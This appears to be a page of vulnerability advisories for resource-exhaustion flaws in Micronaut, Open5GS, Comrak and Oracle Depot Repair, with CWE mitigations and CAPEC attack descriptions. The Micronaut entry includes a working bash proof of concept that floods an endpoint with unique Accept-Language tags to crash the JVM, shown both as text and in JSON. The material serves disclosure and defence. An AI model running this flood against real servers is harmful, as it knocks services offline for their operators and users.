"url": "https://vuldb.com/vuln/369098/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8HJV-92Q9-G4XJ
Vulnerability from github – Published: 2026-05-06 20:00 – Updated: 2026-07-10 00:09Summary
TimeConverterRegistrar caches DateTimeFormatter instances in an unbounded ConcurrentHashMap<String, DateTimeFormatter> whose key is derived from the @Format annotation pattern concatenated with the locale from the HTTP Accept-Language header. Because Locale.forLanguageTag() accepts arbitrary BCP 47 private-use extensions (en-x-a001, en-x-a002, …), an unauthenticated attacker can generate an unlimited number of unique cache keys by sending requests with novel locale tags, growing the cache until heap memory is exhausted and the JVM crashes. This is structurally identical to the recently patched GHSA-2hcp-gjrf-7fhc (DefaultHtmlErrorResponseBodyProvider), but TimeConverterRegistrar.formattersCache was not covered by that fix.
Details
The vulnerable cache is declared in context/src/main/java/io/micronaut/runtime/converters/time/TimeConverterRegistrar.java at line 123:
// TimeConverterRegistrar.java:123
private final Map<String, DateTimeFormatter> formattersCache = new ConcurrentHashMap<>();
The getFormatter method at line 434 inserts into this map with no eviction or size limit:
// TimeConverterRegistrar.java:434-443
private DateTimeFormatter getFormatter(String pattern, ConversionContext context) {
var key = pattern + context.getLocale(); // locale from Accept-Language header
var cachedFormatter = formattersCache.get(key);
if (cachedFormatter != null) {
return cachedFormatter;
}
var formatter = DateTimeFormatter.ofPattern(pattern, context.getLocale());
formattersCache.put(key, formatter); // NO SIZE CHECK — unbounded growth
return formatter;
}
The attacker-controlled locale flows into the cache key through this call chain:
- HTTP header parsed —
HttpHeaders.findAcceptLanguage()athttp/src/main/java/io/micronaut/http/HttpHeaders.java:766-771callsLocale.forLanguageTag(part)directly on the rawAccept-Languagevalue:
// HttpHeaders.java:766-771
default Optional<Locale> findAcceptLanguage() {
return findFirst(HttpHeaders.ACCEPT_LANGUAGE)
.map(text -> {
String part = HttpHeadersUtil.splitAcceptHeader(text);
return part == null ? Locale.getDefault() : Locale.forLanguageTag(part);
});
}
- Locale planted in ConversionContext —
AbstractRouteMatch.newContext()atrouter/src/main/java/io/micronaut/web/router/AbstractRouteMatch.java:373-378passes the request locale into the conversion context for every route argument binding:
// AbstractRouteMatch.java:373-378
private <E> ArgumentConversionContext<E> newContext(Argument<E> argument, HttpRequest<?> request) {
return ConversionContext.of(
argument,
request.getLocale().orElse(null), // ← attacker-controlled via Accept-Language
request.getCharacterEncoding()
);
}
- Unbounded cache insert — When any temporal argument annotated with
@Formatis bound,TimeConverterRegistrar.getFormatter(pattern, context)is called and inserts a newDateTimeFormatterfor each uniquepattern + localekey.
This path is triggered for any route endpoint with a @Format-annotated temporal parameter. This is an officially documented and commonly used Micronaut pattern, demonstrated in the framework's own test suite:
// test-suite/.../BindingController.java:105 (official Micronaut example)
@Get("/dateFormat")
public String dateFormat(@Format("dd/MM/yyyy hh:mm:ss a z") @Header ZonedDateTime date) {
return date.toString();
}
TimeConverterRegistrar is an @Internal core bean registered unconditionally in every Micronaut application — it is not optional or user-configured. By contrast, the DefaultHtmlErrorResponseBodyProvider cache patched in GHSA-2hcp-gjrf-7fhc now uses a ConcurrentLinkedHashMap bounded at 100 entries; TimeConverterRegistrar.formattersCache remains an unbounded plain ConcurrentHashMap.
PoC
Against any Micronaut application exposing an endpoint with a @Format-annotated temporal parameter:
# Flood the formattersCache with unique locale-derived keys
for i in $(seq 1 200000); do
curl -s -o /dev/null \
-H "Accept-Language: en-x-$(printf '%06d' $i)" \
-H "date: 01/01/2024 12:00:00 AM UTC" \
"http://localhost:8080/dateFormat" &
# Throttle to avoid socket exhaustion
[ $((i % 500)) -eq 0 ] && wait
done
wait
# Server will throw OutOfMemoryError after enough unique locale entries accumulate
Each request with a novel en-x-XXXXXX private-use tag inserts a new DateTimeFormatter entry into the unbounded map. Each DateTimeFormatter (with locale metadata) occupies roughly 2–10 KB on the heap. At 100,000 unique entries, the map alone can consume ~500 MB; at 500,000 entries the JVM typically crashes with OutOfMemoryError: Java heap space.
Impact
- An unauthenticated attacker can crash any Micronaut server that exposes at least one endpoint with a
@Format-annotated temporal type parameter — a documented, first-class framework feature. - Memory grows linearly with the number of unique
Accept-Languagevalues sent. The BCP 47 private-use namespace (en-x-ANYTHING) provides millions of distinct valid locale strings. - No credentials, special permissions, or exploitation of application logic are required — only the ability to send HTTP requests with custom headers.
TimeConverterRegistraris active in all Micronaut HTTP server applications by default; no special configuration is needed to be vulnerable.
Recommended Fix
Apply the same fix pattern used for GHSA-2hcp-gjrf-7fhc: replace the unbounded ConcurrentHashMap with a bounded ConcurrentLinkedHashMap:
// In TimeConverterRegistrar.java — replace line 123
import io.micronaut.core.util.clhm.ConcurrentLinkedHashMap;
private static final int MAX_FORMATTERS_CACHE_SIZE = 100;
private final Map<String, DateTimeFormatter> formattersCache =
new ConcurrentLinkedHashMap.Builder<String, DateTimeFormatter>()
.maximumWeightedCapacity(MAX_FORMATTERS_CACHE_SIZE)
.build();
Alternatively, since @Format pattern values come from static annotations (a bounded, compile-time set), the locale should be excluded from the cache key and applied at use-time instead:
// In getFormatter() — cache only by pattern, apply locale at use-time
private DateTimeFormatter getFormatter(String pattern, ConversionContext context) {
DateTimeFormatter base = formattersCache.computeIfAbsent(
pattern, p -> DateTimeFormatter.ofPattern(p)
);
Locale locale = context.getLocale();
return locale != null ? base.withLocale(locale) : base;
}
This second approach bounds the cache by the number of distinct @Format patterns in the application, which is always small and finite, fully eliminating the attack surface.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.micronaut:micronaut-context"
},
"ranges": [
{
"events": [
{
"introduced": "4.3.0"
},
{
"fixed": "4.10.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.micronaut:micronaut-context"
},
"ranges": [
{
"events": [
{
"introduced": "3.10.0"
},
{
"fixed": "3.10.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.micronaut:micronaut-context"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.8.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44241"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T20:00:22Z",
"nvd_published_at": "2026-05-12T22:16:35Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`TimeConverterRegistrar` caches `DateTimeFormatter` instances in an unbounded `ConcurrentHashMap\u003cString, DateTimeFormatter\u003e` whose key is derived from the `@Format` annotation pattern concatenated with the locale from the HTTP `Accept-Language` header. Because `Locale.forLanguageTag()` accepts arbitrary BCP 47 private-use extensions (`en-x-a001`, `en-x-a002`, \u2026), an unauthenticated attacker can generate an unlimited number of unique cache keys by sending requests with novel locale tags, growing the cache until heap memory is exhausted and the JVM crashes. This is structurally identical to the recently patched GHSA-2hcp-gjrf-7fhc (`DefaultHtmlErrorResponseBodyProvider`), but `TimeConverterRegistrar.formattersCache` was not covered by that fix.\n\n## Details\n\nThe vulnerable cache is declared in `context/src/main/java/io/micronaut/runtime/converters/time/TimeConverterRegistrar.java` at line 123:\n\n```java\n// TimeConverterRegistrar.java:123\nprivate final Map\u003cString, DateTimeFormatter\u003e formattersCache = new ConcurrentHashMap\u003c\u003e();\n```\n\nThe `getFormatter` method at line 434 inserts into this map with no eviction or size limit:\n\n```java\n// TimeConverterRegistrar.java:434-443\nprivate DateTimeFormatter getFormatter(String pattern, ConversionContext context) {\n var key = pattern + context.getLocale(); // locale from Accept-Language header\n var cachedFormatter = formattersCache.get(key);\n if (cachedFormatter != null) {\n return cachedFormatter;\n }\n var formatter = DateTimeFormatter.ofPattern(pattern, context.getLocale());\n formattersCache.put(key, formatter); // NO SIZE CHECK \u2014 unbounded growth\n return formatter;\n}\n```\n\nThe attacker-controlled locale flows into the cache key through this call chain:\n\n1. **HTTP header parsed** \u2014 `HttpHeaders.findAcceptLanguage()` at `http/src/main/java/io/micronaut/http/HttpHeaders.java:766-771` calls `Locale.forLanguageTag(part)` directly on the raw `Accept-Language` value:\n\n```java\n// HttpHeaders.java:766-771\ndefault Optional\u003cLocale\u003e findAcceptLanguage() {\n return findFirst(HttpHeaders.ACCEPT_LANGUAGE)\n .map(text -\u003e {\n String part = HttpHeadersUtil.splitAcceptHeader(text);\n return part == null ? Locale.getDefault() : Locale.forLanguageTag(part);\n });\n}\n```\n\n2. **Locale planted in ConversionContext** \u2014 `AbstractRouteMatch.newContext()` at `router/src/main/java/io/micronaut/web/router/AbstractRouteMatch.java:373-378` passes the request locale into the conversion context for every route argument binding:\n\n```java\n// AbstractRouteMatch.java:373-378\nprivate \u003cE\u003e ArgumentConversionContext\u003cE\u003e newContext(Argument\u003cE\u003e argument, HttpRequest\u003c?\u003e request) {\n return ConversionContext.of(\n argument,\n request.getLocale().orElse(null), // \u2190 attacker-controlled via Accept-Language\n request.getCharacterEncoding()\n );\n}\n```\n\n3. **Unbounded cache insert** \u2014 When any temporal argument annotated with `@Format` is bound, `TimeConverterRegistrar.getFormatter(pattern, context)` is called and inserts a new `DateTimeFormatter` for each unique `pattern + locale` key.\n\nThis path is triggered for any route endpoint with a `@Format`-annotated temporal parameter. This is an officially documented and commonly used Micronaut pattern, demonstrated in the framework\u0027s own test suite:\n\n```java\n// test-suite/.../BindingController.java:105 (official Micronaut example)\n@Get(\"/dateFormat\")\npublic String dateFormat(@Format(\"dd/MM/yyyy hh:mm:ss a z\") @Header ZonedDateTime date) {\n return date.toString();\n}\n```\n\n`TimeConverterRegistrar` is an `@Internal` core bean registered unconditionally in every Micronaut application \u2014 it is not optional or user-configured. By contrast, the `DefaultHtmlErrorResponseBodyProvider` cache patched in GHSA-2hcp-gjrf-7fhc now uses a `ConcurrentLinkedHashMap` bounded at 100 entries; `TimeConverterRegistrar.formattersCache` remains an unbounded plain `ConcurrentHashMap`.\n\n## PoC\n\nAgainst any Micronaut application exposing an endpoint with a `@Format`-annotated temporal parameter:\n\n```bash\n# Flood the formattersCache with unique locale-derived keys\nfor i in $(seq 1 200000); do\n curl -s -o /dev/null \\\n -H \"Accept-Language: en-x-$(printf \u0027%06d\u0027 $i)\" \\\n -H \"date: 01/01/2024 12:00:00 AM UTC\" \\\n \"http://localhost:8080/dateFormat\" \u0026\n # Throttle to avoid socket exhaustion\n [ $((i % 500)) -eq 0 ] \u0026\u0026 wait\ndone\nwait\n# Server will throw OutOfMemoryError after enough unique locale entries accumulate\n```\n\nEach request with a novel `en-x-XXXXXX` private-use tag inserts a new `DateTimeFormatter` entry into the unbounded map. Each `DateTimeFormatter` (with locale metadata) occupies roughly 2\u201310 KB on the heap. At 100,000 unique entries, the map alone can consume ~500 MB; at 500,000 entries the JVM typically crashes with `OutOfMemoryError: Java heap space`.\n\n## Impact\n\n- An unauthenticated attacker can crash any Micronaut server that exposes at least one endpoint with a `@Format`-annotated temporal type parameter \u2014 a documented, first-class framework feature.\n- Memory grows linearly with the number of unique `Accept-Language` values sent. The BCP 47 private-use namespace (`en-x-ANYTHING`) provides millions of distinct valid locale strings.\n- No credentials, special permissions, or exploitation of application logic are required \u2014 only the ability to send HTTP requests with custom headers.\n- `TimeConverterRegistrar` is active in all Micronaut HTTP server applications by default; no special configuration is needed to be vulnerable.\n\n## Recommended Fix\n\nApply the same fix pattern used for GHSA-2hcp-gjrf-7fhc: replace the unbounded `ConcurrentHashMap` with a bounded `ConcurrentLinkedHashMap`:\n\n```java\n// In TimeConverterRegistrar.java \u2014 replace line 123\nimport io.micronaut.core.util.clhm.ConcurrentLinkedHashMap;\n\nprivate static final int MAX_FORMATTERS_CACHE_SIZE = 100;\n\nprivate final Map\u003cString, DateTimeFormatter\u003e formattersCache =\n new ConcurrentLinkedHashMap.Builder\u003cString, DateTimeFormatter\u003e()\n .maximumWeightedCapacity(MAX_FORMATTERS_CACHE_SIZE)\n .build();\n```\n\nAlternatively, since `@Format` pattern values come from static annotations (a bounded, compile-time set), the locale should be excluded from the cache key and applied at use-time instead:\n\n```java\n// In getFormatter() \u2014 cache only by pattern, apply locale at use-time\nprivate DateTimeFormatter getFormatter(String pattern, ConversionContext context) {\n DateTimeFormatter base = formattersCache.computeIfAbsent(\n pattern, p -\u003e DateTimeFormatter.ofPattern(p)\n );\n Locale locale = context.getLocale();\n return locale != null ? base.withLocale(locale) : base;\n}\n```\n\nThis second approach bounds the cache by the number of distinct `@Format` patterns in the application, which is always small and finite, fully eliminating the attack surface.",
"id": "GHSA-8hjv-92q9-g4xj",
"modified": "2026-07-10T00:09:19Z",
"published": "2026-05-06T20:00:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/micronaut-projects/micronaut-core/security/advisories/GHSA-8hjv-92q9-g4xj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44241"
},
{
"type": "WEB",
"url": "https://github.com/micronaut-projects/micronaut-core/commit/48f05ae8dc4157816fe0050c5cf730be7d44f8b3"
},
{
"type": "WEB",
"url": "https://github.com/micronaut-projects/micronaut-core/commit/c2048ab740c2efdfe227813f203176e0ef93f892"
},
{
"type": "WEB",
"url": "https://github.com/micronaut-projects/micronaut-core/commit/c6ca8782de7338732e887d090f38c9e941bcb284"
},
{
"type": "PACKAGE",
"url": "https://github.com/micronaut-projects/micronaut-core"
},
{
"type": "WEB",
"url": "https://github.com/micronaut-projects/micronaut-core/releases/tag/v3.10.6"
},
{
"type": "WEB",
"url": "https://github.com/micronaut-projects/micronaut-core/releases/tag/v3.8.14"
},
{
"type": "WEB",
"url": "https://github.com/micronaut-projects/micronaut-core/releases/tag/v4.10.22"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Micronaut has unbounded `formattersCache` in `TimeConverterRegistrar` that Allows Memory Exhaustion via `Accept-Language` Header"
}
GHSA-8HPX-Q4CX-GFXW
Vulnerability from github – Published: 2025-01-29 00:31 – Updated: 2025-01-29 15:31An issue in Open5GS v.2.7.2 allows a remote attacker to cause a denial of service via the ogs_dbi_auth_info function in lib/dbi/subscription.c file.
{
"affected": [],
"aliases": [
"CVE-2024-57519"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-617",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-28T23:15:08Z",
"severity": "HIGH"
},
"details": "An issue in Open5GS v.2.7.2 allows a remote attacker to cause a denial of service via the ogs_dbi_auth_info function in lib/dbi/subscription.c file.",
"id": "GHSA-8hpx-q4cx-gfxw",
"modified": "2025-01-29T15:31:34Z",
"published": "2025-01-29T00:31:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57519"
},
{
"type": "WEB",
"url": "https://github.com/open5gs/open5gs/issues/3635"
},
{
"type": "WEB",
"url": "https://github.com/open5gs/open5gs/commit/08b9e7c55f72649ef25b5407e7e4d938f0f16531"
},
{
"type": "WEB",
"url": "https://github.com/f4rs1ght/vuln-research/tree/main/CVE-2024-57519"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8HQF-XJWP-P67V
Vulnerability from github – Published: 2023-03-28 14:40 – Updated: 2023-03-28 23:08Impact
A range of quadratic parsing issues from cmark/cmark-gfm are also present in Comrak. These can be used to craft denial-of-service attacks on services that use Comrak to parse Markdown.
Patches
0.17.0 contains fixes to known quadratic parsing issues.
Workarounds
n/a
References
- https://github.com/commonmark/cmark/issues/255
- https://github.com/commonmark/cmark/issues/389
- https://github.com/commonmark/cmark/issues/373
- https://github.com/commonmark/cmark/issues/299
- https://github.com/commonmark/cmark/issues/388
- https://github.com/commonmark/cmark/issues/284
- https://github.com/commonmark/cmark/issues/218
- https://github.com/commonmark/cmark/pull/232
- https://github.com/github/cmark-gfm/blob/c32ef78bae851cb83b7ad52d0fbff880acdcd44a/test/pathological_tests.py#L63-L65
- https://github.com/github/cmark-gfm/blob/c32ef78bae851cb83b7ad52d0fbff880acdcd44a/test/pathological_tests.py#L87-L89
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "comrak"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.17.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-28626"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-28T14:40:29Z",
"nvd_published_at": "2023-03-28T21:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nA range of quadratic parsing issues from `cmark`/`cmark-gfm` are also present in Comrak. These can be used to craft denial-of-service attacks on services that use Comrak to parse Markdown.\n\n### Patches\n0.17.0 contains fixes to known quadratic parsing issues.\n\n### Workarounds\n\nn/a\n\n### References\n\n* https://github.com/commonmark/cmark/issues/255\n* https://github.com/commonmark/cmark/issues/389\n* https://github.com/commonmark/cmark/issues/373\n* https://github.com/commonmark/cmark/issues/299\n* https://github.com/commonmark/cmark/issues/388\n* https://github.com/commonmark/cmark/issues/284\n* https://github.com/commonmark/cmark/issues/218\n* https://github.com/commonmark/cmark/pull/232\n* https://github.com/github/cmark-gfm/blob/c32ef78bae851cb83b7ad52d0fbff880acdcd44a/test/pathological_tests.py#L63-L65\n* https://github.com/github/cmark-gfm/blob/c32ef78bae851cb83b7ad52d0fbff880acdcd44a/test/pathological_tests.py#L87-L89",
"id": "GHSA-8hqf-xjwp-p67v",
"modified": "2023-03-28T23:08:31Z",
"published": "2023-03-28T14:40:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kivikakk/comrak/security/advisories/GHSA-8hqf-xjwp-p67v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28626"
},
{
"type": "WEB",
"url": "https://github.com/commonmark/cmark/issues/389"
},
{
"type": "WEB",
"url": "https://github.com/commonmark/cmark/issues/388"
},
{
"type": "WEB",
"url": "https://github.com/commonmark/cmark/issues/373"
},
{
"type": "WEB",
"url": "https://github.com/commonmark/cmark/issues/299"
},
{
"type": "WEB",
"url": "https://github.com/commonmark/cmark/issues/284"
},
{
"type": "WEB",
"url": "https://github.com/commonmark/cmark/issues/255"
},
{
"type": "WEB",
"url": "https://github.com/commonmark/cmark/issues/218"
},
{
"type": "WEB",
"url": "https://github.com/commonmark/cmark/pull/232"
},
{
"type": "WEB",
"url": "https://github.com/kivikakk/comrak/commit/ce795b7f471b01589f842dc09af38b025701178d"
},
{
"type": "WEB",
"url": "https://github.com/github/cmark-gfm/blob/c32ef78bae851cb83b7ad52d0fbff880acdcd44a/test/pathological_tests.py#L63-L65"
},
{
"type": "WEB",
"url": "https://github.com/github/cmark-gfm/blob/c32ef78bae851cb83b7ad52d0fbff880acdcd44a/test/pathological_tests.py#L87-L89"
},
{
"type": "PACKAGE",
"url": "https://github.com/kivikakk/comrak"
},
{
"type": "WEB",
"url": "https://github.com/kivikakk/comrak/releases/tag/0.17.0"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/OUYME2VA555X6567H7ORIJQFN4BVGT6N"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PTWZWCT7KCX2KTXTLPUYZ3EHOONG4X46"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VQ3UBC7LE4VPCMZBTADIBL353CH7CPVV"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Comrak vulnerable to quadratic runtime issues when parsing Markdown (GHSL-2023-047)"
}
GHSA-8HRX-GGWF-CJF9
Vulnerability from github – Published: 2026-09-15 21:32 – Updated: 2026-09-15 21:32Vulnerability in the Oracle Depot Repair product of Oracle E-Business Suite (component: Recall Management). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Depot Repair. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Depot Repair accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Depot Repair. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).
{
"affected": [],
"aliases": [
"CVE-2026-83436"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-15T20:18:52Z",
"severity": "HIGH"
},
"details": "Vulnerability in the Oracle Depot Repair product of Oracle E-Business Suite (component: Recall Management). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Depot Repair. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Depot Repair accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Depot Repair. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).",
"id": "GHSA-8hrx-ggwf-cjf9",
"modified": "2026-09-15T21:32:39Z",
"published": "2026-09-15T21:32:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-83436"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cspusep2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.